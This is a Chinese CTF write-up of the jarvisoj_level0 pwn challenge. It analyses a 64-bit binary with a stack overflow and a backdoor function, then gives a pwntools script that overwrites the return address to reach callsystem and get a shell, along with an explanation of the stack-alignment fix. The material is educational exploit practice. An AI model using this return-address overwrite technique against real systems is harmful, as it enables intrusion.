BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
慧都小项8 小时前
从 Burp Suite Professional 到 DAST:把 Web 安全测试接入持续 AppSec 的工程化路径
测试工具·web安全·网络安全·burp suite
2501_9151063210 小时前
安卓抓包软件2026,免证书抓包 应用层抓包 代理抓包全解析
网络协议·计算机网络·网络安全·ios·adb·https·udp
严谨的麻辣烫10 小时前
2026 年静态 IP 为什么重新受到关注?从住宅代理安全问题看固定网络出口
运维·服务器·tcp/ip·网络安全
菩提小狗11 小时前
每日安全情报报告 · 2026-09-02
网络安全·漏洞·cve·安全情报·每日安全
0xBADCODE11 小时前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
数据知道13 小时前
恶意软件分析实验室搭建——沙箱、快照、网络隔离
网络·安全·web安全·网络安全
Lust Dusk16 小时前
【最新】VMware虚拟机下载安装教程
网络·网络安全·系统安全
马立杰18 小时前
IE241209_路由安全技术(三层安全)
安全·网络安全
Sagittarius_A*18 小时前
【好靶场】SQL 注入-布尔盲注-2
sql·web安全·网络安全·sql注入
Shi-p20 小时前
TrapCloud 全网攻击感知平台:基于蜜罐诱捕实现公网主动防御
网络安全·威胁分析·蜜罐·trapcloud